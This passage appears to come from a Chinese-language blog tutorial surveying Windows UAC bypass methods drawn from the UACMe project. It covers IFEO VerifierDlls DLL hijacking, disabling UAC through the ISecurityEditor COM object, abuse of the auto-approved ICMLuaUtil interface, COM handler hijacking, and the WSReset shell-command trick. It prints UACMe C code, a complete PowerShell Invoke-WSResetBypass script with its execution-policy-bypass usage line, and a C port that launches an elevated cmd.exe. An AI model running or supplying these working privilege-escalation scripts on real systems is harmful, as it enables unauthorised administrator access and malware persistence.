DWORD WINAPI ucmxElevatedLaunchProc( _In_ LOAD_PARAMETERS *Params ) { SHELLEXECUTEINFOW shexec; shexec.cbSize = sizeof(shexec); shexec.fMask = SEE_MASK_NOCLOSEPROCESS; shexec.nShow = SW_SHOW; shexec.lpVerb = Params->szVerb; shexec.lpFile = Params->szTargetApp; shexec.lpParameters = NULL; shexec.lpDirectory = NULL; if (Params->ShellExecuteExW(&shexec)) if (shexec.hProcess != NULL) { Params->WaitForSingleObject(shexec.hProcess, INFINITE); Params->CloseHandle(shexec.hProcess); } return Params->RtlExitUserThread(STATUS_SUCCESS); }
其參數在
RtlSecureZeroMemory(LoadParams, sizeof(LOAD_PARAMETERS)); _strcpy(LoadParams->szVerb, RUNAS_VERB); _strcat(szB1, OOBE_EXE); _strncpy(LoadParams->szTargetApp, MAX_PATH, szB1, MAX_PATH); LoadParams->ShellExecuteExW = (pfnShellExecuteExW)GetProcAddress( g_ctx->hShell32, "ShellExecuteExW"); LoadParams->WaitForSingleObject = (pfnWaitForSingleObject)GetProcAddress( g_ctx->hKernel32, "WaitForSingleObject"); LoadParams->CloseHandle = (pfnCloseHandle)GetProcAddress( g_ctx->hKernel32, "CloseHandle"); LoadParams->RtlExitUserThread = (pfnRtlExitUserThread)GetProcAddress( g_ctx->hNtdll, "RtlExitUserThread");
這里被構造,然后通過Status = RtlCreateUserThread(hProcess, NULL, FALSE, 0, 0, 0,(PUSER_THREAD_START_ROUTINE)newEp, newDp,&hRemoteThread, NULL);
傳遞過去
關閉UAC機制
該方法第一次被使用是在一個叫Simda的惡意軟件中。
這個方法有一個缺點,需要重啟系統才能成功關閉UAC。
該方法利用微軟沒有公開的ISecurityEditor COM對象,該對象和IFileOperation COM對象類似,是一個AutoElevate的COM對象,在白名單進程中使用可以自動提升權限。
這個對象可以用於修改注冊表的訪問權限,攻擊者可以偽裝白名單進程然后修改如下注冊表權限為可寫
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
然后設置EnableLUA為0 (EnableLUA REG_DWORD 0)即可關閉UAC。
5號方法用的就是這種手法:
Author: WinNT/Simda
Type: Elevated COM interface
Method: ISecurityEditor Target(s): HKLM registry keys Component(s): - Implementation: ucmSimdaTurnOffUac Works from: Windows 7 (7600) Fixed in: Windows 10 TH1 (10147) How: ISecurityEditor interface method changed
關鍵代碼如下:
- 使用ISecurityEditor修改上述注冊表權限為可寫
- 新建/修改注冊表鍵EnableUA的值為0
- 重啟系統,成功關閉UAC
使用注冊表制定程序加載DLL
該方法同樣使用ISecurityEditor COM,修改的注冊表項為,將其訪問權限改為可寫,然后在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
表項后新建子項cliconfg.exe,在子項下增加鍵值對:
GlobalFlag REG_DWORD 0x0000100 VerifierDlls REG_SZ Hibiki.dll
VerifierDlls的值為dll的名字,該dll為攻擊者自定義dll,該DLL需要放置在C:\Windows\system32下。VerifierDlls中存儲的DLL會被AppVerfier(應用程序檢驗器)使用。
通過WUSA將攻擊者自動以DLL解壓至C:\windwos\system32\Hibiki.dll下,然后運行cliconfg.exe即可在運行時自動加載Hibiki.dll,因為cliconfg.exe是AutoElevate的exe,所以Hiibiki.dll會以管理員權限運行,即繞過了UAC。
方法9使用了該技術:
Author: Leo Davidson, WinNT/Simda, Win32/Carberp derivative
Type: Dll Hijack
Method: IFileOperation, ISecurityEditor, WUSA Target(s): IFEO registry keys, \system32\cliconfg.exe Component(s): Attacker defined Application Verifier Dll Implementation: ucmAvrfMethod Works from: Windows 7 (7600) Fixed in: Windows 10 TH1 (10147) How: WUSA /extract option removed, ISecurityEditor interface method changed
注意,由於是使用的WUSA來進行轉移,所以同樣也要構造一個cab格式的文件.
以上就是常見的通過DLL劫持的方式來BypassUAC的方法.
利用COM接口
COM簡介
COM是Component Object Model (組件對象模型)的縮寫。 COM是微軟公司為了計算機工業的軟件生產更加符合人類的行為方式開發的一種新的軟件開發技術。在COM構架下,人們可以開發出各種各樣的功能專一的組件,然后將它們按照需要組合起來,構成復雜的應用系統。
應用程序與COM注冊表的關系 – CLSID
首先需要介紹一下CLSID(Class Identifier),中文翻譯為:“全局唯一標識符”。
CLSID是指Windows系統對於不同的應用程序,文件類型,OLE對象,特殊文件夾以及各種系統組件分配的一個唯一表示它的ID代碼,用於對其身份的標識和與其他對象進行區分。位置在注冊表的HKEY_CLASSES_ROOT\CLSID,這里存放了Windows系統組件對應的CLSID,選中某個CLSID,在右側窗格中的“默認”值顯示的“數據”即為該CLSID對應的系統組件名稱,例如{26EE0668-A00A-44D7-9371-BEB064C98683}就是“控制面板”的CLSID。
可以有以下應用方式:
- 方式一:Win + R 快捷鍵調出“運行”對話框,輸入 shell:::CLSID(例如 shell:::{26EE0668-A00A-44D7-9371-BEB064C98683} ),確定,即可打開“控制面板”(不是在cmd中)
- 方式二:創建快捷方式。在創建快捷方式時,只需在“請鍵入對象的位置”文本框中輸入 explorer shell:::CLSID(例如explorer shell:::{26EE0668-A00A-44D7-9371-BEB064C98683} ),那么使用創建的快捷方式打開“控制面板”;
- 方式三:你也可以把某個系統組件的CLSID嵌入到應用軟件中,以快速打開某組件;
利用可以Auto Approval的COM組件BypassUAC
對於這類BypassUAC,需要滿足以下兩點:
- elevation屬性開啟,且開啟Auto Approval(需要利用這個特點繞過UAC)
- COM組件中的接口存在可以命令執行的地方(用來執行我們自己的命令)
舉個例子,如41號方法:
Author: Oddvar Moe
Type: Elevated COM interface
Method: ICMLuaUtil
Target(s): Attacker defined
Component(s): Attacker defined
Implementation: ucmCMLuaUtilShellExecMethod
Works from: Windows 7 (7600) Fixed in: unfixed 🙈 How: -
這個方法使用的是CMSTPLUA組件的ICMLuaUtil接口,我們對着上述兩個特點看一下
這里建議下載一個OleViewDotNet工具,可以方便的查看系統中的COM接口屬性信息,注意需要用管理員權限運行
Registry -> CLSIDs
在CLSID上右鍵 -> properties -> Elevation 可以看到該接口Enabled:True&Auto Approval:True,滿足上述第一個條件
鼠標懸浮在ICMLuaUtil上,可以看到虛函數表地址在cmlua.dll+0x7360的位置處
用IDA打開看一下,找到0x180007360的位置,可以看到ICMLuaUtil接口的虛函數表
滿足了第二個條件,即通過調用ShellExecuteEx
這個Windows API
實現了命令執行
我們具體看一下實現過程:
關鍵代碼在Source\Akagi\methods\api0cradle.c中的ucmCMLuaUtilShellExecMethod函數中定義,同樣,調用該函數前需要用supMasqueradeProcess偽裝成白名單,關鍵函數如下:
NTSTATUS ucmCMLuaUtilShellExecMethod( _In_ LPWSTR lpszExecutable ) { NTSTATUS MethodResult = STATUS_ACCESS_DENIED; HRESULT r = E_FAIL, hr_init; BOOL bApprove = FALSE; ICMLuaUtil *CMLuaUtil = NULL; hr_init = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED); //初始化當前線程Com組件 ...... r = ucmAllocateElevatedObject( T_CLSID_CMSTPLUA, &IID_ICMLuaUtil, CLSCTX_LOCAL_SERVER, (void**)&CMLuaUtil); ...... r = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil, lpszExecutable, NULL, NULL, SEE_MASK_DEFAULT, SW_SHOW); ...... if (CMLuaUtil != NULL) { CMLuaUtil->lpVtbl->Release(CMLuaUtil); } if (hr_init == S_OK) CoUninitialize(); return MethodResult; }
ucmAllocateElevatedObject中用CoGetObject創建了一個以管理員權限運行的CMLuaUtil組件
然后用ShellExec傳進來的lpszExecutable,也就是payload:
if (g_ctx->OptionalParameterLength == 0) lpszParameter = g_ctx->szDefaultPayload; else lpszParameter = g_ctx->szOptionalParameter; return ucmCMLuaUtilShellExecMethod(lpszParameter);
定義在sup.c中,就是一行簡單滴調用cmd.exe的命令
尋找這類可利用接口
除了通過上面的方式在OleView
中手動去找,還可以通過UACMe
項目提供的Yuubari
工具快速查看系統UAC
設定信息以及所有可以利用的程序和COM
組件,這個工具的使用上文已經詳細說明了,這里我們來看一下日志內容,挑幾個重點的說:
===============================================================
[UacView] Basic UAC settings
===============================================================
ElevationEnabled=Enabled
VirtualizationEnabled=Enabled
InstallerDetectEnabled=Enabled
ConsentPromptBehaviorAdmin=5
EnableSecureUIAPaths=1
PromptOnSecureDesktop=Enabled
顯示基本的UAC配置
=============================================================== [UacView] Autoelevated COM objects =============================================================== EditionUpgradeHelper Class EditionUpgradeHelper \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{01776DF3-B9AF-4E50-9B1C-56E93116D704} CEIPLuaElevationHelper wercplsupport.dll Customer Experience Improvement Program \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{01D0A625-782D-4777-8D4E-547E6457FAD5}
羅列所有可以自動權限提升的COM對象
===============================================================
[UacView] Autoelevated applications in Windows directory
===============================================================
C:\Windows\System32\BitLockerWizardElev.exe requireAdministrator uiAccess=FALSE autoElevate=TRUE
羅列所有可以自動提升權限的應用(在windows目錄下的)
劫持COM組件繞過UAC
這種方式的原理在於CLSID下的兩個鍵名:InprocHandler32和InprocServer32:
- InprocHandler32:指定應用程序使用的自定義處理程序
- InprocServer32:注冊32位進程所需要的模塊、線程屬性配置
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID {CLSID} InprocServer32 (Default) = path ThreadingModel = value
COM組件的加載過程
- HKCU\Software\Classes\CLSID
- HKCR\CLSID
- HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Objects\
所以我們可以通過在COM組件注冊表下創建InprocServer32鍵值並將其指向我們自己的payload DLL來實現COM組件的劫持
40號方法就是使用這種技術:
Author: Ruben Boonen
Type: COM Handler Hijack Method: Registry key manipulation Target(s): \system32\mmc.exe, \system32\recdisc.exe Component(s): Attacker defined Implementation: ucmCOMHandlersMethod Works from: Windows 7 (7600) Fixed in: Windows 10 19H1 (18362) How: Side effect of Windows changes
流程如下:
- 將payload DLL先復制到temp下
- 在CLSID/{0A29FF9E-7F9C-4437-8B11-F424491E3931}下創建InprocServer32並將值指向剛剛解壓出來的dll文件,ThreadingModel的值為Apartment
- 創建ShellFolder,把HideOnDesktopPerUser值改為空,把Attributes值改為0xF090013D,這是”combination of SFGAO flags”
- 用mmc.exe運行eventvwr.msc,即可完成劫持.
- 清理注冊表
利用Shell API
這種方法主要是通過尋找autoElevated屬性為true的程序,修改其注冊表\shell\open\command的值,改成我們想要執行的paylaod,在該值中指明的字段會在這類程序運行時自動執行,類似於默認程序打開,當你以后運行該程序時,這個command命令都會自動執行
UACME原本項目中的方法…我嘗試的時候有點bug,不知道是我系統的問題還是什么問題,后續研究一下..這里給一個win10仍可用的payload,利用到了WSReset.exe這個應用商店的程序,利用思路如下:
- 更改HKCU\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\open\command的值為”C:\Windows\System32\cmd.exe /c start cmd.exe”
- 運行WSReset.exe
- 清理注冊表
將大佬原本的ps版本payload稍作修改:
<#
.SYNOPSIS
Fileless UAC Bypass by Abusing Shell API
Author: Hashim Jawad of ACTIVELabs
.PARAMETER Command
Specifies the command you would like to run in high integrity context.
.EXAMPLE
Invoke-WSResetBypass -Command "C:\Windows\System32\cmd.exe /c start cmd.exe"
This will effectivly start cmd.exe in high integrity context.
.NOTES
This UAC bypass has been tested on the following:
- Windows 10 Version 1803 OS Build 17134.590
- Windows 10 Version 1809 OS Build 17763.316
#>
function Invoke-WSResetBypass {
Param (
[String]$Command = "C:\Windows\System32\cmd.exe /c start cmd.exe"
)
$CommandPath = "HKCU:\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\open\command"
$filePath = "HKCU:\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\open\command"
New-Item $CommandPath -Force | Out-Null
New-ItemProperty -Path $CommandPath -Name "DelegateExecute" -Value "" -Force | Out-Null
Set-ItemProperty -Path $CommandPath -Name "(default)" -Value $Command -Force -ErrorAction SilentlyContinue | Out-Null
Write-Host "[+] Registry entry has been created successfully!"
$Process = Start-Process -FilePath "C:\Windows\System32\WSReset.exe" -WindowStyle Hidden
Write-Host "[+] Starting WSReset.exe"
Write-Host "[+] Triggering payload.."
Start-Sleep -Seconds 10
if (Test-Path $filePath) {
Remove-Item $filePath -Recurse -Force
Write-Host "[+] Cleaning up registry entry"
}
}
IEX Invoke-WSResetBypass;
用法POWERSHELL -EXECUTIONPOLICY BYPASS -FILE C:\Users\User\Desktop\BypassUAC.ps1
改成C版本:
#include <stdio.h> #include <windows.h> int main(void) { LPCWSTR regname = L"Software\\Classes\\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\\Shell\\open"; HKEY hkResult = NULL; const wchar_t * payload = L"C:\\Windows\\System32\\cmd.exe /c start cmd.exe"; DWORD Len = wcslen(payload)*2 + 2; int ret = RegOpenKey(HKEY_CURRENT_USER, regname, &hkResult); ret = RegSetValueEx(hkResult, L"command", 0, REG_SZ, (BYTE*)payload, Len); if (ret == 0) { printf("success to write run key\n"); RegCloseKey(hkResult); } else { printf("failed to open regedit.%d\n", ret); return 0; } printf("Starting WSReset.exe"); system("C://Windows//System32//WSReset.exe"); return 0; }
實際在測試的時候,我的Win10(10.0.19041.329)沒有成功,似乎是我的注冊表之前被改壞了,但是這種思路就是這樣是沒有問題的,大名鼎鼎的冰河木馬和灰鴿子都是采用類似的方式來執行自己的exe的.
UACMe中還是有很多沒有被修復的BypassUac的方法的,在實際使用中要結合具體的情況來選取使用的方式,msf中也有多種BypassUac的方法可以使用.BypassUac的方法比較多,單思路來說,大體思路都在上述的總結中了,目前為止這應該是相對比較全面的一片BypassUac的方法總結了,有任何有問題的地方,請各位大佬指正.